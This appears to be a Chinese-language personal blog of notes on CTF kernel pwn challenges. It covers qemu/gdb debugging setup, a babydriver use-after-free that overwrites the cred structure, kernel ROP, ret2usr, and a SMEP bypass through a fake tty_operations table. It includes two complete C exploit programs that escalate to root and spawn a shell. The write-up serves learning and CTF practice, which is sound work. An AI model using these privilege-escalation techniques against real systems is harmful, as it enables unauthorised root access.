开始玩kernel系列,写下记录
kernel UAF
由于是第一道kernel,所以加一些环境相关的记录。
- 由于kernel pwn题一般会提供一个 boot.sh ,也就是启动脚本,并且大多使用qemu来起系统,所以qemu必须得有。
- 其次,调试的时候也需要有gdb,gdb也得装。
- 单纯的gdb可能不太好用,这时需要装一个gef插件『调内核这个相对好用一些』
pwn题所给的文件除了启动文件后一般还会有一个内核压缩文件(bzImage),如果本地下载/编译过linux kernel,在源码文件夹的scriptes目录会有这样一个脚本(路径:linux-4.4.72/scripts/extract-vmlinux
),使用该脚本可将bzImage解压成vmlinux(./extract-vmlinux bzImage > ./vmlinux),如果vmlinux中有符号表的话就可以带符号表调试kernel了(gdb -q ./vmlinux)
除了上述的两个文件外一般还会带有一个文件系统的压缩文件,rootfs.cpio(可能也有别的压缩形式)
对于cpio包,可以用『cpio -idmv < ./initramfs.img』解包(ps:注意这个文件到底是不是cpio文件,如果是gz文件需要 gunzip xxx.cpio.gz先解压),注意建议在空目录下执行,可以用『find . | cpio -o –format=newc > ../rootfs.cpio』在该目录下重新打包
解包后的文件夹内可以看到一个init文件,该文件会于系统启动后自动执行,一般情况下会在init文件内发现有内核模块挂载行为(insmod /lib/modules/4.4.72/babydriver.ko),大多数情况下这个内核模块就是我们需要分析的文件。
根据有问题的驱动模块写好的exp脚本可以放在上述文件夹内一起打包成文件镜像,之后可以在系统起起来后执行
调试相关
- 用『boot.sh』文件起系统
- 在跑起来的系统内执行『cat /proc/modules』可以看到所有加载了的内核模块,找到我们分析的模块并记下加载地址
- 有vmlinux的时候可以『gdb -q ./vmlinux』先起gdb
- gdb起来后建议先设置相关设置『set architecture i386:x86-64:intel』
- 连接上qemu启动起来的系统『target remote :1234』(注意需要在boot.sh中加入-s参数用于开启调试,并且需要注意端口是否一致)
- 使用gdb从拿到的内核模块文件读取符号表,gdb内执行『add-symbol-file ./babydriver.ko 0xffffffffc0000000』,最后的那个地址就是之前所记录下的内核加载地址
- 完成后便可以在函数处下断点以及执行exp了(例:b babyioctl)
wiki上这类型题只有一道,难度也不是很大,简单谈一下自己的理解
- 首先从open和release函数可以看到对模块打开和关闭的时候会操作一块内存『device_buf』,open的时候还会记录device_buf的大小『device_buf_len』。
- 利用ioctl函数可以重新申请『device_buf』这块内存,并且大小可控
- 看完各个功能模块后需要思考一个问题,对模块进行打开和关闭的时候只是会重置『babydev_struct』结构体中的一个指针和一个记录内存大小的值。那么,这个结构体存在哪儿呢?在ida中跟随结构体实例可以发现他的位置在ko文件的『.bss』段,但整个ko文件会在系统启动后的第一时间整体加载到内存中(init文件)。这便意味着整个结构体可以复用,即同时两次open该模块,对其中一个文件指针做出的各种改变也会同步到另一个文件指针中。
- 看懂上述操作后就可以整理思路来,既然结构体实例是复用的,那么两次open后再free掉一个,就可以构成一个UAF(free时会释放device_buf)
- 有漏洞后思考如何利用漏洞做事,内核漏洞一般提权用(毕竟都能执行exp了肯定有普通用户权限)。内核中有一个结构体『cred 结构体』,内核通过该结构体中的数据判断相关权限等
4.4.72的cred结构体定义如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */ #ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested * keys to */ struct key __rcu *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */ #endif #ifdef CONFIG_SECURITY void *security; /* subjective LSM security */ #endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ struct rcu_head rcu; /* RCU deletion hook */ };
|
那便可以通过ioctl将一个设备的device_buf大小改为该结构体的大小,然后通过fork创建出一个子线程,子线程在创建的时候会自动申请一个 cred 结构体,又因为刚才释放过一个相同大小的内存空间,则会将该内存拿过来直接用。这样便可以通过另一个打开的设备指针对该空间进行读写,全改0就ok。
wiki上也有exp,这里就只谈理解了。
kernel ROP
这篇也搞懂了,搞懂之后发现内核也是挺好玩的。
内核rop的利用过程大致就是:
- 找commit_creds和prepare_kernel_cred地址->
- 找可利用的gadget地址->
- 保存cs、ss、rsp、rflags信息用于从内核态返回用户态起shell->
- 构造rop,利用内核栈溢出进行调用commit_creds(prepare_kernel_cred(0))提权,并于提权成功后调用swapgs; iretq返回用户态起shell
整体来说,栈布局应如下:
脚本有借鉴wiki上的成分
编译:g++ -o a -static -masm=intel a.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> #include <iostream> #include <fstream> #include <string> using namespace std;
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); }
void getshell() { if(!getuid()) system("/bin/sh"); else puts("[-] getshell error"); }
int main(int argc, char const *argv[]) { save_status(); size_t commit_creds=0, prepare_kernel_cred=0; string getlines1; ifstream fd1("/tmp/kallsyms"); if(fd1.is_open()) { while(!fd1.eof()) { if(commit_creds && prepare_kernel_cred) break;
getline(fd1, getlines1); if(!commit_creds && getlines1.find("commit_creds")!=getlines1.npos) { char num[16]; getlines1.copy(num, 16, 0); sscanf(num, "%llx", &commit_creds); } if(!prepare_kernel_cred && getlines1.find("prepare_kernel_cred")!=getlines1.npos) { char num[16]; getlines1.copy(num, 16, 0); sscanf(num, "%llx", &prepare_kernel_cred); } } } size_t vmlinux_base = commit_creds - 0xffffffff8109c8e0;
cout << hex; cout << "[+] vmlinux base => " << vmlinux_base << endl; cout << "[+] commit_creds => " << commit_creds << endl; cout << "[+] prepare_kernel_cred => " << prepare_kernel_cred << endl;
int fd = open("/proc/core", O_RDWR); ioctl(fd, 0x6677889C, 0x40);
char canary_array[64]; ioctl(fd, 0x6677889B, canary_array); size_t canary = ((size_t*)canary_array)[0]; cout << "[+] canary => " << canary << endl;
size_t rop[0x100]; int i; for(i=0; i<10; i++) { rop[i]=canary; } rop[i++] = 0xffffffff81000b2f+vmlinux_base; rop[i++] = 0; rop[i++] = prepare_kernel_cred; rop[i++] = 0xffffffff81021e53+vmlinux_base; rop[i++] = commit_creds; rop[i++] = 0xffffffff811ae978+vmlinux_base; rop[i++] = 0xffffffff81a012da+vmlinux_base; rop[i++] = 0; rop[i++] = 0xffffffff81050ac2+vmlinux_base; rop[i++] = (size_t)getshell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
write(fd, rop, 0x100); ioctl(fd, 0x6677889A, 0xffffffffffff0000|(0x100));
return 0; }
|
最后0xffffffffffff0000|(0x100)这个数字对于有符号数来说是个负数。
kernel ret2usr
ret2usr的提权是利用了用户态的代码,在内核态调用用户态代码,这样的话就不用费心思去找gadget了(找的少了),直接改ROP的代码就可以用
我在写提权函数的时候需要强制转换类型,不然编译过不去
1 2 3 4 5 6 7
| void getroot() { char* (*pkc)(int) = (char* (*)(int))prepare_kernel_cred; void (*cc)(char*) = (void (*)(char*))commit_creds;
(*cc)((*pkc)(0)); }
|
bypass-smep
学到很多的一道题
- smep和smap是通过cr4寄存器来设置的,意味着只要可以ROP就能关掉
- 两个结构体就不说了,获取结构体大小可以通过编译相同版本的vmlinux来看(待测试)
- tty_operations中构造
mov rsp, rax
的原因是在执行其中write指针时,rax中保存着tty_operations结构体首地址,这一点可通过将write指针写为内核模块函数地址,并在内核模块函数处下断验证
- gdb调试时可以通过
file 文件名
来切换用户态和内核态调试过程(切换用户态时用户态程序最好在运行中,getchar)
rop构造就没啥好说的了,基本就这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| #include <stdio.h> #include <fcntl.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <sys/wait.h> #include <sys/ioctl.h>
size_t user_cs, user_rflags, user_sp, user_ss; size_t commit_creds = 0xffffffff810a1420, prepare_kernel_cred = 0xffffffff810a1810; size_t vm_base;
void get_shell() { if (!getuid()) system("/bin/sh"); }
void get_root() { char *(*pkc)(int) = prepare_kernel_cred; void (*cc)(char *) = commit_creds; (*cc)((*pkc)(0)); }
int main(int argc, char const *argv[]) { __asm__( "mov user_cs, cs;" "pushf;" "pop user_rflags;" "mov user_sp, rsp;" "mov user_ss, ss;"); perror("[*] save status");
int fd1 = open("/dev/babydev", 2); int fd2 = open("/dev/babydev", 2);
ioctl(fd1, 65537, 0x2e0); close(fd2);
int fd3 = open("/dev/ptmx", 2 | O_NOCTTY);
size_t dump[4]; read(fd1, dump, 32); printf("%p\n", dump[3]);
size_t rop[] = { 0xffffffff810d238d, 0x6f0, 0xffffffff81004d80, 0, (size_t)get_root, 0xffffffff81063694, 0, 0xffffffff814e35ef, (size_t)get_shell, user_cs, user_rflags, user_sp, user_ss };
size_t fake_tty_operation[36]; for (int i = 0; i < 36; i++) fake_tty_operation[i] = 0xffffffff8181bfc5;
fake_tty_operation[0] = 0xffffffff8100ce6e; fake_tty_operation[1] = (size_t)rop;
dump[3] = (size_t)fake_tty_operation; write(fd1, dump, 32);
getchar(); write(fd3, dump, 32);
return 0; }
|